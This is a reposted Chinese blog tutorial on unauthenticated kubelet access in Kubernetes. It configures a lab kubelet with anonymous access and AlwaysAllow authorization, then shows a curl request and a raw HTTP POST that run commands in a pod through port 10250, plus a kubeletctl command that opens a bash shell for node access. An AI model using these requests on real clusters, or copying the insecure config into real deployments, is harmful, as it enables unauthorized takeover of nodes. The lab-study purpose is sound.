0x00 前言
未授权一直是一个老生常谈的问题,云安全中也不可避免,本篇介绍kubelet的相关未授权漏洞
0x01 kubelet基础知识
1.主要功能
kubelet 是k8s工作节点上的一个代理组件,主要功能是:
- k8s进行交互,获取pod相关的数据,监控pod变化的时间
- kubelet操作当前宿主机的资源信息,启动pod
2.端口
kubelet 会开放4个端口,10250,10255,10248,4194(1.12版本已删除,由10250统一管理)
端口作用10250kubelet与apiserver通信的的端口,定期请求apiserver获取自己所应当处理的任务,通过该端口可以访问获取node资源以及状态10248判断kubelet是否正常工作4194通过此端口可以获取到该节点的环境信息以及node上运行容器状态10255提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权
3.kubelet模块
0x02 10255 端口未授权
1.环境搭建
修改/var/lib/kubelet/config.yaml,新增如下内容,在最后一行加就行:
readOnlyPort:10255
address:0.0.0.0
重启一下即可
systemctl restart kubelet
2.利用
10255 只读端口,仅涉及到信息泄露问题。
泄露信息包括节点信息,以及namespace
启动配置
0x03 10250 未授权访问
1.环境搭建
修改/var/lib/kubelet/config.yaml,将anonymous修改为true
然后将认证从Webhook改为 AlwaysAllow
重启一下即可
systemctl restart kubelet
2.利用
首先直接访问 https://192.168.247.156:10250/runningpods/ 这里需要注意的是https
2.1 命令执行
curl -XPOST -k "https://192.168.247.156:10250/run/kube-system/kube-proxy-flbc8/kube-proxy"-d "cmd=whoami"
首先是namespace/podname/containers
直接burp也行:
POST /run/kube-system/kube-proxy-flbc8/kube-proxy HTTP/1.1
Host:192.168.247.156:10250
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
cmd=id
2.3 获取服务器权限
https://github.com/cyberark/kubeletctl
这个工具还是有那么好用
可以通过
kubeletctl.exe --server 192.168.247.156 -p kube-flannel-ds-jndfl -c kube-flannel -n kube-flannel exec "/bin/bash"
获取node权限
版权归原作者 王嘟嘟_ 所有, 如有侵权,请联系我们删除。